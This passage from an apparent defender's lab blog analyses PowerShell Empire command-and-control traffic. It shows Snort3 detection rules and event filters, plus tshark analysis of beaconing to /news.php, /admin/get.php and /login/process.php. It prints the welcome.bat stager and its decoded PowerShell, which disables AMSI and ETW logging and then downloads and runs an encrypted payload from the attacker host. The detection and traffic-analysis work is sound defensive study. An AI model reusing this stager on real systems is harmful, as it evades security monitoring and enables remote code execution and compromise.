                   setups: 78
         discards_skipped: 3
                   events: 12
             syn_trackers: 69
              segs_queued: 7414
            segs_released: 7414
                segs_used: 3224
          rebuilt_packets: 4029
          rebuilt_buffers: 20
            rebuilt_bytes: 1064009
                     gaps: 47
          client_cleanups: 29
          server_cleanups: 10
                     syns: 69
                 syn_acks: 29
                   resets: 54
                     fins: 13
      inspector_fallbacks: 5
        partial_fallbacks: 22
                 max_segs: 816
                max_bytes: 410007
--------------------------------------------------
wizard
                tcp_scans: 4
                 tcp_hits: 4
--------------------------------------------------
Summary Statistics
--------------------------------------------------
timing
                  runtime: 00:00:00
                  seconds: 0.073711
                 pkts/sec: 17365
                Mbits/sec: 52
--------------------------------------------------
module profile (all, depth 255, sorted by total_time)
#                      module layer    checks   time(us)  avg/check  %/caller  %/total
=                      ====== =====    ======   ========  =========  ========  =======
 1                      other     1     17365      26070          1     36.73    36.73
 2                 stream_tcp     1     13785      16034          1     22.59    22.59
 3                        daq     1     17638       9925          0     13.98    13.98
 4               http_inspect     1     16750       4542          0      6.40     6.40
 5                       mpse     1     53710       4029          0      5.68     5.68
 6                  rule_eval     1     18036       2855          0      4.02     4.02
 7                     decode     1     17365       2236          0      3.15     3.15
 8                     stream     1     15755       1919          0      2.70     2.70
 9                     eventq     1     25798       1613          0      2.27     2.27
 10                       paf     1     10990       1427          0      2.01     2.01
 11                    binder     1      3662        313          0      0.44     0.44
 12                    wizard     1         4          8          2      0.01     0.01
--                      total    --     17365      70977          4        --   100.00
--------------------------------------------------
rule profile (all, sorted by total_time)
#       gid   sid rev    checks matches alerts time (us) avg/check avg/match avg/non-match timeouts suspends
=       ===   === ===    ====== ======= ====== ========= ========= ========= ============= ======== ========
1         14000003  10       472     452    452      4310         9         9             0        0        0
2         14000004  10       398     377    377      4139        10        10             0        0        0
3         14000002  10       436       3      3       375         0        38             0        0        0
4         14000001  10        12       3      3       308        25        86             5        0        0
o")~   Snort exiting

When we look above, we see that in one instance of we have 452 alerts and another of 377. The others with 3 we can live with. However, those 300+ and 400+ alerts  can be a real headache for us as analysts, thus contributing to the so called alert fatigue. Let's reduce this noise ... and the fatigue.

Let's add the following event filter to the snort.lua file.

event_filter =
{
  -- alerts once per 60 seconds then ignore any additional events during the 60 seconds.
    { gid = 1, sid = 4000001, type = 'both', track = 'by_src', count = 1, seconds = 60},
    { gid = 1, sid = 4000002, type = 'both', track = 'by_src', count = 1, seconds = 60},
    { gid = 1, sid = 4000003, type = 'both', track = 'by_src', count = 1, seconds = 60},
    { gid = 1, sid = 4000004, type = 'both', track = 'by_src', count = 1, seconds = 60},
}

When Snort3 is run against the pcap, this time we see

┌──(rootđź’€securitynik)-[~/packets]
└─# snort --pcap-list empire-full-session.pcap -A alert_talos --talos --pcap-show -k none -d -R local.rules -c snort.lua  -q
Reading network traffic from "empire-full-session.pcap" with snaplen = 1518

##### empire-full-session.pcap #####
        [1:4000001:10] POWERSHELL EMPIRE COMPROMISED HOST: GET request made for /news.php detected (alerts: 1)
        [1:4000002:10] POWERSHELL EMPIRE COMPROMISED HOST: POST request made for /news.php detected (alerts: 1)
        [1:4000003:10] POWERSHELL EMPIRE COMPROMISED HOST: GET request made for /admin/get.php detected (alerts: 1)
        [1:4000004:10] POWERSHELL EMPIRE COMPROMISED HOST: GET request made for /login/process.php detected (alerts: 1)
#####
--------------------------------------------------
module profile (all, depth 255, sorted by total_time)
#                      module layer    checks   time(us)  avg/check  %/caller  %/total
=                      ====== =====    ======   ========  =========  ========  =======
 1                      other     1     17365      29039          1     39.42    39.42
 2                 stream_tcp     1     13785      15494          1     21.03    21.03
 3                        daq     1     17638      10463          0     14.20    14.20
 4               http_inspect     1     16750       4428          0      6.01     6.01
 5                       mpse     1     53704       4115          0      5.59     5.59
 6                  rule_eval     1     18033       2923          0      3.97     3.97
 7                     stream     1     15755       2240          0      3.04     3.04
 8                     decode     1     17365       2203          0      2.99     2.99
 9                        paf     1     10989       1419          0      1.93     1.93
 10                    eventq     1     25792        994          0      1.35     1.35
 11                    binder     1      3662        336          0      0.46     0.46
 12                    wizard     1         4          7          1      0.01     0.01
--                      total    --     17365      73666          4        --   100.00
--------------------------------------------------
rule profile (all, sorted by total_time)
#       gid   sid rev    checks matches alerts time (us) avg/check avg/match avg/non-match timeouts suspends
=       ===   === ===    ====== ======= ====== ========= ========= ========= ============= ======== ========
1         14000003  10       472     452      1      4786        10        10             0        0        0
2         14000004  10       398     377      1      3933         9        10             0        0        0
3         14000002  10       436       3      1       366         0        38             0        0        0
4         14000001  10        12       3      1       311        25        82             7        0        0


Beginning PowerShell Empire - Packet Analysis

Now that I have a better understanding of Powershell empire through the lens of the attack and the logs, time to take a look at the packets as they flew by on the wire.

The following capture was setup while the activity was being performed. Note, I'm not attempting to decrypt the traffic, I'm just trying to understand what is occurring. At the same time, I have this link in the reference , that guides you on how to decrypt the communication if needed.

┌──(rootđź’€securitynik)-[/home/securitynik/packets]
└─# tcpdump -nnti eth0 'host 10.0.0.110 and not arp and not net 224.0.0 and not port 138' -w empire-full-session.pcap  -vv
tcpdump: listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
Got 0

Looking at the first few packets during the connection stage. Knowing this communication is being done over HTTP, let's see what some of this connection looks like from the perspective of the compromise machine at 10.0.0.110.

┌──(rootđź’€securitynik)-[/home/securitynik/packets]
└─# tshark -n -r empire-initial-connect.pcap -t ad -Y '(ip.src == 10.0.0.110) and (tcp.port == 443)' -T fields -e http.request.method -e http.request.uri -e http.cookie_pair -e http.user_agent -E header=y | sort | uniq | more

http.request.method     http.request.uri        http.cookie_pair        http.user_agent
GET     /admin/get.php  session=Drp0SxpkTTJ2bKqW0zzPUVV1g2Y=    Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
GET     /news.php       SecurityNik-HTTP-Listener-Cookie=ZOkMw8YjkW24L0AxacILe8erL8s=   securitynik-launcher-bat-User-Agent
POST    /news.php               securitynik-launcher-bat-User-Agent

Adding the frame time field

┌──(rootđź’€securitynik)-[/home/securitynik/packets]
└─# tshark -n -r empire-initial-connect.pcap -t ad -Y '(ip.src == 10.0.0.110) and (tcp.port == 443)' -T fields -e frame.time -e http.request.method -e http.request.uri -e http.cookie_pair -e http.user_agent -E header=y | sort | uniq | more
frame.time      http.request.method     http.request.uri        http.cookie_pair        http.user_agent
Nov 20, 2021 13:03:59.632366000 EST     GET     /news.php       SecurityNik-HTTP-Listener-Cookie=ZOkMw8YjkW24L0AxacILe8erL8s=   securityn
ik-launcher-bat-User-Agent
Nov 20, 2021 13:04:02.701118000 EST     POST    /news.php               securitynik-launcher-bat-User-Agent
Nov 20, 2021 13:04:03.514507000 EST     POST    /news.php               securitynik-launcher-bat-User-Agent
Nov 20, 2021 13:05:06.697535000 EST     GET     /admin/get.php  session=Drp0SxpkTTJ2bKqW0zzPUVV1g2Y=    Mozilla/5.0 (Windows NT 6.1; WOW6

Looks like the first few packets were GET and POST requests for news.php. Finally we see a request for admin/get.php.

Taking a look from the attacker's machine perspective (10.0.0.107) to see what was returned.

┌──(rootđź’€securitynik)-[/home/securitynik/packets]
└─# tshark -n -r empire-initial-connect.pcap -t ad -Y '(ip.src == 10.0.0.107)' -T fields -e http.response.code -e http.server -e http.content_length_header -e http.response_for.uri -e http.cache_control -E header=y | sort | uniq | more
http.response.code      http.server     http.content_length_header      http.response_for.uri   http.cache_control
200     Microsoft-IIS/7.5       1279    http://10.0.0.107:443/admin/get.php     no-cache, no-store, must-revalidate
200     Microsoft-IIS/7.5       256     http://10.0.0.107:443/news.php  no-cache, no-store, must-revalidate
200     Microsoft-IIS/7.5       44506   http://10.0.0.107:443/news.php  no-cache, no-store, must-revalidate
200     Microsoft-IIS/7.5       5452    http://10.0.0.107:443/news.php  no-cache, no-store, must-revalidate

Adding the frame time.

┌──(rootđź’€securitynik)-[/home/securitynik/packets]
└─# tshark -n -r empire-initial-connect.pcap -t ad -Y '(ip.src == 10.0.0.107)' -T fields -e frame.time -e http.response.code -e http.server -e http.content_length_header -e http.response_for.uri -e http.cache_control -E header=y

frame.time      http.response.code      http.server     http.content_length_header      http.response_for.uri   http.cache_control
Nov 20, 2021 13:03:59.708871000 EST     200     Microsoft-IIS/7.5       5452    http://10.0.0.107:443/news.php  no-cache, no-store, must-revalidate
Nov 20, 2021 13:04:02.931861000 EST     200     Microsoft-IIS/7.5       256     http://10.0.0.107:443/news.php  no-cache, no-store, must-revalidate
Nov 20, 2021 13:04:03.628589000 EST     200     Microsoft-IIS/7.5       44506   http://10.0.0.107:443/news.php  no-cache, no-store, must-revalidate
Nov 20, 2021 13:05:06.756213000 EST     200     Microsoft-IIS/7.5       1279    http://10.0.0.107:443/admin/get.php     no-cache, no-store, must-revalidate


The server returned 200 response code for the various requests. It looks like the final news.php request was the largest with 44506 bytes. Let's peak into this to see what it might be.

┌──(rootđź’€securitynik)-[/home/securitynik/packets]
└─# tshark -n -r empire-initial-connect.pcap -t ad -Y '(http.content_length_header == 44506)' -V  | more 
...

Line-based text data: text/html (351 lines)
     [truncated])�qX$J�iYQ���\017���(\026�����*�4\006n��q)x<k\017:\000 �9�������e��^��SHΦ����f��[��R��o$���\016%��kڸ�[�h�k\004�\000�P\020
gU�`
    �J���2-�y\v;�T�a\r
    �+P�X�\t�\0201�����{�x��\004��\003��Q��[VW�E���qi8�Pk�w0\000+�b�)�{�=��!&�*y�R��F���}��\r
     [truncated]�\034έ�G4c�@�k\a�ь�&eϙ��^�0'c\026\f`\032R.5�(^�\021\u07B5�$��8\006\024ί�{(���\022k�mO��_��\024��vI�e ���q�l��d�\017"(&�@\
022�\025�\026;z-E�]a�]Q
     [truncated]\033��\�a�\t\035���8�\f�\016[\�0�C\004�\032�\036Ƃ��w�2�!�-\��n)�#n��q���#>��\v���\025�+\035`�\033x���\021�\005��H�K�m#`Hw
...

Definitely does not look like line based text. 

I also noticed Tshark reporting the following:

┌──(rootđź’€securitynik)-[/home/securitynik/packets]
└─# tshark -n -r empire-initial-connect.pcap -t ad -t ad -q -z expert,warns
Warns (8)
=============
   Frequency      Group           Protocol  Summary
           8   Security               HTTP  Unencrypted HTTP protocol detected over encrypted port, could indicate a dangerous misconfiguration.

Looking at the cookie information.

┌──(rootđź’€securitynik)-[/home/securitynik/packets]
└─# tshark -n -r empire-initial-connect.pcap -t ad  -T fields -e frame.time -e ip.src -e ip.dst -e http.cookie_pair  -E header=y | more  
frame.time      ip.src  ip.dst  http.cookie_pair
Nov 20, 2021 13:03:59.632366000 EST     10.0.0.110      10.0.0.107      SecurityNik-HTTP-Listener-Cookie=ZOkMw8YjkW24L0AxacILe8erL8s=
Nov 20, 2021 13:05:06.697535000 EST     10.0.0.110      10.0.0.107      session=Drp0SxpkTTJ2bKqW0zzPUVV1g2Y=

I was hoping to see the same cookie. When I add the http.uri field I see it seems the difference is between requesting news.php vs admin/get.php

┌──(rootđź’€securitynik)-[/home/securitynik/packets]
└─# tshark -n -r empire-initial-connect.pcap -t ad  -T fields -e frame.time -e ip.src -e ip.dst -e http.cookie_pair -e http.request.uri -E header=y | more
frame.time      ip.src  ip.dst  http.cookie_pair        http.request.uri
Nov 20, 2021 13:03:59.632366000 EST     10.0.0.110      10.0.0.107      SecurityNik-HTTP-Listener-Cookie=ZOkMw8YjkW24L0AxacILe8erL8s=   /
news.php
Nov 20, 2021 13:05:06.697535000 EST     10.0.0.110      10.0.0.107      session=Drp0SxpkTTJ2bKqW0zzPUVV1g2Y=    /admin/get.php

Looking at the packets when whoami was run from within powershell-empire interactive environment, we see.

┌──(rootđź’€securitynik)-[/home/securitynik/packets]
└─# tshark -n -r empire-whoami.pcapng -t ad  -T fields -e frame.number -e ip.src -e tcp.srcport -e ip.dst -e tcp.dstport -e http.request.method -e http.request.uri -e http.content_length_header -E header=y | more 
frame.number    ip.src  tcp.srcport     ip.dst  tcp.dstport     http.request.method     http.request.uri        http.content_length_heade
r
1       10.0.0.110      1650    10.0.0.107      443     GET     /news.php
5       10.0.0.107      443     10.0.0.110      1650                    78
9       10.0.0.110      1650    10.0.0.107      443     POST    /login/process.php      94
14      10.0.0.107      443     10.0.0.110      1650                    1279

I'm going to assume (for now) the POST, packet 5 is the server sending the request and packet 9 is the client providing the response to whoami via the POST /login/process.php.

When the ps command is executed, I do not see the login/process.php but one again the news. Is it possible these files are being cycled through?

┌──(rootđź’€securitynik)-[/home/securitynik/packets]
└─# tshark -n -r empire-ps -t ad  -T fields -e frame.number -e ip.src -e tcp.srcport -e ip.dst -e tcp.dstport -e http.request.method -e http.request.uri -e http.content_length_header -e http.response.code -E header=y | more 
frame.number    ip.src  tcp.srcport     ip.dst  tcp.dstport     http.request.method     http.request.uri        http.content_length_header       http.response.code
4       10.0.0.107      443     10.0.0.110      1650                    62      200
7       10.0.0.110      1650    10.0.0.107      443     POST    /news.php       8078
12      10.0.0.107      443     10.0.0.110      1650                    1279    200

Looks like the Powershell Empire server sends the request to the client in packet 4 in a HTTP response 200 OK message, and gets a response back via a POST /news.php in packet 7. Packet 8 interestingly it reports the page is not found. 

Looking at frame 4, we see.

┌──(rootđź’€securitynik)-[/home/securitynik/packets]
└─# tshark -n -r empire-ps -t ad  -Y 'frame.number == 4'                                                       
    4 2021-11-20 14:36:15.708022   10.0.0.107 → 10.0.0.110   HTTP 324 HTTP/1.1 200 OK  (text/html)

┌──(rootđź’€securitynik)-[/home/securitynik/packets]
└─# tshark -n -r empire-ps -t ad  -Y 'frame.number == 4' -T fields -e http.file_data
���\r���7N���R-S���V���k&��Y4ULYJ����`[=�������j.F+��{'0�Vy��

Looking at the response in frame 5, we see.

┌──(rootđź’€securitynik)-[/home/securitynik/packets]
└─# tshark -n -r empire-ps -t ad  -Y 'frame.number == 7'
    7 2021-11-20 14:36:26.478808   10.0.0.110 → 10.0.0.107   HTTP 8132 POST /news.php HTTP/1.1 

┌──(rootđź’€securitynik)-[/home/securitynik/packets]
└─# tshark -n -r empire-ps -t ad  -Y 'frame.number == 7' -T fields -e http.file_data
����m���!'�����%�#�6��������\to�A�0I�����-���8/��a���0�p����opfn{|\n.[�d�~\fh����S�����C�=6\tk��~�h�����{�}��"�qJDj`:�Bd���Z��'K%R�s\n[��$���}d��

Finally in frame 12

┌──(rootđź’€securitynik)-[/home/securitynik/packets]
└─# tshark -n -r empire-ps -t ad  -Y 'frame.number == 12' 
   12 2021-11-20 14:36:26.519843   10.0.0.107 → 10.0.0.110   HTTP 83 HTTP/1.1 200 OK  (text/html)

┌──(rootđź’€securitynik)-[/home/securitynik/packets]
└─# tshark -n -r empire-ps -t ad  -Y 'frame.number == 12' -T fields -e http.file_data
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">\r\n<html xmlns="http://www.w3.org/1999/xhtml">\r\n<head>\r\n<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/>\r\n<title>404 - File or directory not found.</title>\r\n<style ...... <h1>Server Error</h1></div>\r\n<div id="content">\r\n <div class="content-container"><fieldset>\r\n  <h2>404 - File or directory not found.</h2>\r\n  <h3>The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.</h3>\r\n </fieldset></div>\r\n</div>\r\n</body>\r\n</html>\r\n      

There are truly a lot of these messages in the communication. 

Going forward this analysis will now focus on what I see overall and not the results of a specific command. We would only benefit from the output of a specific command, if we were to decrypt the communication. Since I'm looking at this from a general perspective, I will keep it simple moving forward.

So we saw alot above, but not really anything that really helped us to look deep into the activities. We could infer but we cannot confirm.

Therefore let's look back again at a snapshot of the welcome.bat which represents the Powershell stager to understand what is going on inside of this content.

┌──(rootđź’€securitynik)-[/tmp]
└─# cat welcome.bat 
# 2>NUL & @CLS & PUSHD "%~dp0" & "%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -nol -nop -ep bypass "[IO.File]::ReadAllText('%~f0')|iex" & DEL "%~f0" & POPD /B
powershell -noP -sta -w 1 -enc  SQBmACgAJABQAFMAVgBFAFIAUwBpAG8ATgBUAGEAQgBsAEUALgBQAFMAVgBFAHIAcwBpAG8ATgAuAE0AYQBKAG8AUgAgAC0AZwBFACAAMwApAHsAJABSAEUARgA9AFsAUgBFAGYAXQAuAEEAcwBTAEUAbQBCAGwAWQAuAEcARQB0AFQAeQBQAEUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBBAG0AcwBpACcAKwAnAFUAdABpAGwAcwAnACkAOwAkAFIARQBmAC4ARwBFAFQARgBpAEUATABEACgAJwBhAG0AcwBpAEkAbgBpAHQARg...ALgAkAGQAYQB0AGEALgBsAGUATgBHAHQAaABdADsALQBqAE8ASQBuAFsAQwBIAGEAUgBbAF0AXQAoACYAIAAkAFIAIAAkAGQAYQBUAGEAIAAoACQASQBWACsAJABLACkAKQB8AEkARQBYAA==

Looking above, we see the content is base64 encoded. Let's attempt to decode this base64 encoded content using the base64 --decode.

┌──(rootđź’€securitynik)-[/tmp]
└─# echo "SQBmACgAJABQAFMAVgBFAFIAUwBpAG8ATgBUAGEAQgBsAEUALgBQAFMAVgBFAHIAcwBpAG8ATgAuAE0AYQBKAG8AUgAgAC0AZwBFACAAMwApAHsAJABSAEUARgA9AFsAUgBFAGYAXQAuAEEAcwB...AoACYAIAAkAFIAIAAkAGQAYQBUAGEAIAAoACQASQBWACsAJABLACkAKQB8AEkARQBYAA==" | base64 --decode
If($PSVERSioNTaBlE.PSVErsioN.MaJoR -gE 3){$REF=[REf].AsSEmBlY.GEtTyPE('System.Management.Automation.Amsi'+'Utils');$REf.GETFiELD('amsiInitF'+'ailed','NonPublic,Static').SEtValUE($NUlL,$True);[System.Diagnostics.Eventing.EventProvider]."GetFie`ld"('m_e'+'nabled','Non'+'Public,'+'Instance').SetValue([Ref].Assembly.GetType('Syste'+'m.Management.Automation.Tracing.PSE'+'twLogProvider')."GetFie`ld"('et'+'wProvider','NonPub'+'lic,S'+'tatic').GetValue($null),0);};[SysTEM.NeT.SerVicePOiNtManAGER]::EXPeCt100COnTINUE=0;$b48e=NeW-ObJECT SystEM.NET.WebCLIent;$u='securitynik-launcher-bat-User-Agent';$ser=$([TEXT.ENCoDInG]::UniCODe.GETStriNg([ConvErT]::FRoMBaSe64StrING('aAB0AHQAcAA6AC8ALwAxADAALgAwAC4AMAAuADEAMAA3ADoANAA0ADMA')));$t='/news.php';$b48e.HeadeRS.AdD('User-Agent',$u);$B48e.PRoXy=[SYsTem.Net.WEBREqUesT]::DefAULTWEbPrOXy;$b48e.ProXy.CredeNTiALS = [SYSTEM.NET.CrEdeNTIaLCaChe]::DEfaultNETWorKCReDentIals;$Script:Proxy = $b48e.Proxy;$K=[SYsTEm.TeXT.ENcODInG]::ASCII.GeTBYtes('?4M6q)cLnvli}UCsu:rwf![~]79{#=O/');$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bXoR$S[($S[$I]+$S[$H])%256]}};$B48E.HeadeRs.Add("Cookie","SecurityNik-HTTP-Listener-Cookie=ZOkMw8YjkW24L0AxacILe8erL8s=");$datA=$B48e.DownLOaDDaTA($sEr+$T);$Iv=$DaTa[0..3];$DAtA=$daTa[4..$data.leNGth];-jOIn[CHaR[]](& $R $daTa ($IV+$K))|IEX

Good stuff! We have peeled back the first layer of the onion. From above, we see some cleartext values that made sense, while also seeing what seems to be even further base64 encoded content such as:

:FRoMBaSe64StrING('aAB0AHQAcAA6AC8ALwAxADAALgAwAC4AMAAuADEAMAA3ADoANAA0ADMA')

When we decode this new string, we see:

┌──(rootđź’€securitynik)-[~/packets]
└─# echo 'aAB0AHQAcAA6AC8ALwAxADAALgAwAC4AMAAuADEAMAA3ADoANAA0ADMA' | base64 --decode
http://10.0.0.107:443

Good stuff, we we able to recover the URL to which the host should communicate with. Knowing that for example the request was for news.php, we can conclude  this first request looked like http://10.0.0.107:443/news.php. I do find this URL interesting. I was expecting to see https rather than HTTP. However, I guess the port 443 forced the communication over https rather than HTTP. .

We also see information on the cookie.

("Cookie","SecurityNik-HTTP-Listener-Cookie=ZOkMw8YjkW24L0AxacILe8erL8s=")

Attempting the decode the Cookie, assuming it is base64, we see nothing meaningful.

┌──(rootđź’€securitynik)-[/tmp]
└─# echo "ZOkMw8YjkW24L0AxacILe8erL8s=" | base64 --decode
d�
  ��#�m�/@1i�
             {Ç«/�

We also see in the base64 encoded content.

ASCII.GeTBYtes('?4M6q)cLnvli}UCsu:rwf![~]79{#=O/')

This value ties back to the StagingKey which was defined during the setup of the Listener. It is also used as input to the encryption algorithm.

Digging deeper. Extracting packets 8 and 13 and taking a closer look, we see the client made a GET request for /news.php and the server responded with a 200 OK. This suggest the request resource was received successfully.

┌──(rootđź’€securitynik)-[~/packets]
└─# tshark -n -r empire-full-session.pcap -t ad -Y '(frame.number == 8) || (frame.number == 13)'                                                  
    8 2021-11-20 13:03:59.632367   10.0.0.110 → 10.0.0.107   HTTP 246 GET /news.php HTTP/1.1 
   13 2021-11-20 13:03:59.708872   10.0.0.107 → 10.0.0.110   HTTP 1336 HTTP/1.1 200 OK  (text/html)

Extracting a few fields to take a look at this from a different perspective, we see below the client's get request has a TCP length of 192 bytes, while the server's HTTP response was 5452 bytes. This is a significant download.

┌──(rootđź’€securitynik)-[~/packets]
└─# tshark -n -r empire-full-session.pcap -t ad -Y '(frame.number == 8) || (frame.number == 13)' -T fields -e ip.src -e tcp.srcport -e ip.dst -e tcp.dstport -e http.request.method -e http.request.uri -e http.response.code -e http.cookie_pair -e tcp.len -e http.content_length_header -E header=y
ip.src  tcp.srcport     ip.dst  tcp.dstport     http.request.method     http.request.uri        http.response.code      http.cookie_pair        tcp.len http.content_length_header
10.0.0.110      1650    10.0.0.107      443     GET     /news.php               SecurityNik-HTTP-Listener-Cookie=ZOkMw8YjkW24L0AxacILe8erL8s=   192
10.0.0.107      443     10.0.0.110      1650                    200             1282    5452

Looking at frames 17 and 21, we see, we now see the client making a POST and the server returned a 200 OK message.

┌──(rootđź’€securitynik)-[~/packets]
└─# tshark -n -r empire-full-session.pcap -t ad -Y '(frame.number == 17) || (frame.number == 21)'
   17 2021-11-20 13:04:02.701119   10.0.0.110 → 10.0.0.107   HTTP 516 POST /news.php HTTP/1.1 
   21 2021-11-20 13:04:02.931862   10.0.0.107 → 10.0.0.110   HTTP 519 HTTP/1.1 200 OK  (text/html)

Expanding the fields like we did above, we see the client POST consists of 462 bytes. The server responds with a 256 bytes. Attempting to look at either the bytes sent in the POST or the response will not benefit us, as we already know this traffic is encrypted.

┌──(rootđź’€securitynik)-[~/packets]
└─# tshark -n -r empire-full-session.pcap -t ad -Y '(frame.number == 17) || (frame.number == 21)' -T fields -e ip.src -e tcp.srcport -e ip.dst -e tcp.dstport -e http.request.method -e http.request.uri -e http.response.code -e http.cookie_pair -e tcp.len -e http.content_length_header -E header=y
ip.src  tcp.srcport     ip.dst  tcp.dstport     http.request.method     http.request.uri        http.response.code      http.cookie_pair        tcp.len http.content_length_header
10.0.0.110      1650    10.0.0.107      443     POST    /news.php                       462     462
10.0.0.107      443     10.0.0.110      1650                    200             465     256

Continuing along this path, we see in frame 25, the client makes yet another POST, sending 256 bytes, with the server responding with 200 OK in packet 42. The server sends back a massive 44506 bytes.

┌──(rootđź’€securitynik)-[~/packets]
└─# tshark -n -r empire-full-session.pcap -t ad -Y '(frame.number == 25) || (frame.number == 42)'
   25 2021-11-20 13:04:03.514509   10.0.0.110 → 10.0.0.107   HTTP 260 POST /news.php HTTP/1.1 
   42 2021-11-20 13:04:03.628591   10.0.0.107 → 10.0.0.110   HTTP 5351 HTTP/1.1 200 OK  (text/html)

To get a better view of this, let's expand the fields again.

┌──(rootđź’€securitynik)-[~/packets]
└─# tshark -n -r empire-full-session.pcap -t ad -Y '(frame.number == 25) || (frame.number == 42)' -T fields -e ip.src -e tcp.srcport -e ip.dst -e tcp.dstport -e http.request.method -e http.request.uri -e http.response.code -e http.cookie_pair -e tcp.len -e http.content_length_header -E header=y
ip.src  tcp.srcport     ip.dst  tcp.dstport     http.request.method     http.request.uri        http.response.code      http.cookie_pair        tcp.len http.content_length_header
10.0.0.110      1650    10.0.0.107      443     POST    /news.php                       206     206
10.0.0.107      443     10.0.0.110      1650                    200             5297    44506

According to Ayan Saha, this represents the end of the 3 phases the tool used to setup. 

From here on, the client sends regular GET request, beaconing home to get the tasks it needs to execute. 

Looking at the statistical analysis for the URLs requested. 

┌──(rootđź’€securitynik)-[~/packets]
└─# tshark -n -r empire-full-session.pcap -Y '(ip.src == 10.0.0.110) && (tcp.port == 443) && (http.request.method == "GET")' -T fields -e ip.src -e http.request.uri | sort | uniq --count | sort --numeric --reverse
    563 10.0.0.110      /admin/get.php
    540 10.0.0.110      /news.php
    493 10.0.0.110      /login/process.php

Considering  the above, let's look at the 60 second frequencies within these pages are each seen. Starting with /admin/get.php. Primary reason for the 60 minute window, is because we set the delay to 60 second when configuring the the listener.

┌──(rootđź’€securitynik)-[~/packets]
└─# tshark -n -r empire-full-session.pcap  -t ad -q -z io,stat,60,'(ip.src==10.0.0.110) && (ip.dst == 10.0.0.107) && (tcp.dstport==443) && (http.request.method == GET) && (http.request.uri ==  "/admin/get.php")' | more
======================================================================================================
| IO Statistics                                                                                      |
|                                                                                                    |
| Duration: 112019.300404 secs                                                                        |
| Interval:    60 secs                                                                               |
|                                                                                                    |
| Col 1: (ip.src==10.0.0.110) && (ip.dst == 10.0.0.107) && (tcp.dstport==443) &&                     |
|        (http.request.method == GET) && (http.request.uri ==  "/admin/get.php")                     |
|----------------------------------------------------------------------------------------------------|
|                     |1               |                                                             |
| Date and time       | Frames | Bytes |                                                             |
|--------------------------------------|                                                             |
| 2021-11-20 13:02:57 |      0 |     0 |                                                             |
| 2021-11-20 13:03:57 |      0 |     0 |                                                             |
| 2021-11-20 13:04:57 |      1 |   235 |                                                             |
| 2021-11-20 13:05:57 |      0 |     0 |                                                             |
| 2021-11-20 13:06:57 |      0 |     0 |                                                             |
| ... TRUNCATED FOR BREVITY ....                                                                     |
======================================================================================================

Above we can see some 0s, being seen at this 1 minute intervals, let's remove those to get more meaningful information.

┌──(rootđź’€securitynik)-[~/packets]
└─# tshark -n -r empire-full-session.pcap  -t ad -q -z io,stat,60,'(ip.src==10.0.0.110) && (ip.dst == 10.0.0.107) && (tcp.dstport==443) && (http.request.method == GET) && (http.request.uri ==  "/admin/get.php")' | grep --invert-match --perl-regexp "\s+0\s+" | more

======================================================================================================
| IO Statistics                                                                                      |
|                                                                                                    |
| Duration: 112019.300404 secs                                                                        |
| Interval:    60 secs                                                                               |
|                                                                                                    |
| Col 1: (ip.src==10.0.0.110) && (ip.dst == 10.0.0.107) && (tcp.dstport==443) &&                     |
|        (http.request.method == GET) && (http.request.uri ==  "/admin/get.php")                     |
|----------------------------------------------------------------------------------------------------|
|                     |1               |                                                             |
| Date and time       | Frames | Bytes |                                                             |
|--------------------------------------|                                                             |
| ...                                  |                                                             |
| 2021-11-20 13:19:57 |      1 |   235 |                                                             |
| 2021-11-20 13:30:57 |      1 |   235 |                                                             |
| 2021-11-20 17:17:57 |      1 |   235 |                                                             |
| 2021-11-20 17:18:57 |      1 |   235 |                                                             |
| 2021-11-20 17:19:57 |      2 |   470 |                                                             |
| 2021-11-20 17:20:57 |      2 |   470 |                                                             |
| 2021-11-20 17:21:57 |      2 |   470 |                                                             |
| 2021-11-20 17:22:57 |      2 |   470 |                                                             |
| 2021-11-20 17:23:57 |      1 |   235 |                                                             |
| 2021-11-20 17:24:57 |      1 |   235 |                                                             |
| 2021-11-20 17:25:57 |      1 |   235 |                                                             |
| 2021-11-20 17:26:57 |      3 |   705 |                                                             |
| 2021-11-20 17:28:57 |      3 |   705 |                                                             |
| 2021-11-20 17:29:57 |      2 |   470 |                                                             |
| 2021-11-20 17:30:57 |      1 |   235 |                                                             |
| 2021-11-20 17:31:57 |      1 |   235 |                                                             |
| 2021-11-21 19:08:57 |      1 |   235 |                                                             |
| 2021-11-21 19:09:57 |      1 |   235 |                                                             |
======================================================================================================


Looking at a snapshot of the data above, we can clearly see a pattern every 60 seconds.

Doing the same for news.php, we see.

┌──(rootđź’€securitynik)-[~/packets]
└─# tshark -n -r empire-full-session.pcap  -t ad -q -z io,stat,60,'(ip.src==10.0.0.110) && (ip.dst == 10.0.0.107) && (tcp.dstport==443) && (http.request.method == GET) && (http.request.uri ==  "/news.php")' | grep --invert-match --perl-regexp "\s+0\s+" | more

======================================================================================================
| IO Statistics                                                                                      |
|                                                                                                    |
| Duration: 112019.300404 secs                                                                        |
| Interval:    60 secs                                                                               |
|                                                                                                    |
| Col 1: (ip.src==10.0.0.110) && (ip.dst == 10.0.0.107) && (tcp.dstport==443) &&                     |
|        (http.request.method == GET) && (http.request.uri ==  "/news.php")                          |
|----------------------------------------------------------------------------------------------------|
|                     |1               |                                                             |
| Date and time       | Frames | Bytes |                                                             |
|--------------------------------------|                                                             |

| 2021-11-21 18:54:57 |      2 |   460 |                                                             |
| 2021-11-21 18:55:57 |      1 |   230 |                                                             |
| 2021-11-21 18:56:57 |      2 |   460 |                                                             |
| 2021-11-21 18:57:57 |      1 |   230 |                                                             |
| 2021-11-21 18:58:57 |      2 |   460 |                                                             |
| 2021-11-21 18:59:57 |      1 |   230 |                                                             |
| 2021-11-21 19:00:57 |      2 |   460 |                                                             |
| 2021-11-21 19:06:57 |      1 |   230 |                                                             |
